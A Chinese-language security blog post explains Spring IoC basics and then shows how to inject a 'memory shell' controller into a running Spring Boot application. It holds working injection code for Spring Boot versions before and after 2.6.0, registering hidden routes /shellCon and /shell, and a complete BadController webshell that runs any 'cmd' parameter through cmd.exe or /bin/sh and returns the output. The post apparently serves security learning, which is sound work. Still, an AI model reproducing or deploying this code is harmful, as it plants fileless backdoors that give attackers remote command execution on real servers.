SpringBoot-Controller内存马
1diot9 Lv5

前置知识

这里需要了解Spring IoC,Bean,ApplicationContext是什么。

基本名词概念

Spring IoC(Inversion of Control,控制反转)容器是Spring框架的核心组件之一,它负责管理应用程序中对象的创建、配置和生命周期。通过IoC容器,Spring实现了依赖注入(Dependency Injection, DI),从而降低了组件之间的耦合度,提高了代码的可维护性和可测试性。

Spring IoC 容器主要功能

  1. 对象的实例化:IoC容器会根据配置文件(如XML、Java注解或Java配置类)来创建对象实例。
  2. 对象的配置:容器不仅负责创建对象,还会根据配置为对象设置属性值或注入依赖。
  3. 对象的装配:容器会根据配置将不同的对象装配在一起,形成完整的应用上下文。
  4. 对象的生命周期管理:容器可以管理对象的生命周期,包括初始化、运行时管理和销毁。

Spring IoC 容器的实现方式

Spring提供了两种主要的IoC容器实现:

  1. BeanFactory:这是Spring IoC容器的基础接口,提供基本的依赖注入功能。它是轻量级的,适合资源受限的环境。
  2. ApplicationContext:这是BeanFactory的扩展,提供了更多的企业级功能,例如事件传播、国际化支持、AOP支持等。ApplicationContext是更常用的IoC容器实现。

配置方式

Spring IoC容器可以通过以下几种方式进行配置:

  1. 基于XML的配置:使用XML文件定义Bean及其依赖关系。
  2. 基于注解的配置:使用如@Component、@Service、@Autowired等注解来声明Bean和依赖注入。
  3. 基于Java配置:使用@Configuration和@Bean注解以编程方式定义Bean。

示例

以下是一个简单的基于注解的Spring IoC容器示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 定义一个服务类,并使用 @Service 注解将其注册为 Bean
@Service
public class MyService {
public void execute() {
System.out.println("MyService is executing...");
}
}

// 主程序类
public class MainApp {
public static void main(String[] args) {
// 创建 Spring 应用上下文
ApplicationContext context = new AnnotationConfigApplicationContext(MainApp.class);

// 从容器中获取 MyService Bean
MyService myService = context.getBean(MyService.class);
myService.execute();
}
}

在这个例子中,MyService被注册为一个Bean,并通过IoC容器进行管理。主程序通过context.getBean()方法从容器中获取MyService实例。

看完之后,我的理解是:

1、Bean是Spring框架中的对象,而IoC是Bean的管理者

2、IoC主要有两种实现方式,最基础的是BeanFactory,而它的一个重要子类是ApplicationContext

3、如果我们能够获取IoC,比如ApplicationContext,那么我们就可以得到任何Bean,也就是得到某次请求中的Context中的任意对象

这里简单解释一下Context。Context是上下文的意思,而上下文可以简单理解成一个进程运行时,各个类里面的变量等一切和这个进程有关的东西。

分析

之前是分析过Interceptor内存马的,所以我这里直接给EXP。这个EXP适用于springboot<2.6.0

1
2
3
4
5
6
7
8
9
10
11
12
13
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method declaredMethod = Class.forName("bad_controller.BadController").getDeclaredMethods()[0];
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shellCon");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("bad_controller.BadController").newInstance(), declaredMethod);
return "/shellCon has been added";

这里获取上下文的方法还是一样。主要看看怎么动态注册Controller。

还记得Interceptor里的那张图吗?DispatcherServlet先去跟HandlerMapping拿到对应的Controller里的方法和Interceptor,再进行后续处理。所以Controller里的方法是在HandlerMapping里被取出的,所以我们需要重点关注HandlerMapping。

概括一下,先拿到HandlerMapping,再拿到Controller,再拿到Controller里具体的方法,再拿到路由和请求方式,最后注册即可。

SpringBoot>=2.6.0的EXP:

1
2
3
4
5
6
7
8
9
10
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = InjectToController2.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();
InjectToController2 springControllerMemShell = new InjectToController2("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);

内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package bad_controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@Controller
public class BadController {
public void badCon(HttpServletRequest request, HttpServletResponse response) {
String code = request.getParameter("cmd");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}catch (Exception e){
}
}

}
}

总结

这里我只写了一种注册Controller的方法,获取context的过程也没细讲,可以去看参考文章里的。

参考

基于内存 Webshell 的无文件攻击技术研究-安全KER - 安全资讯平台

Spring内存马学习

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 182.7k 访客数 访问量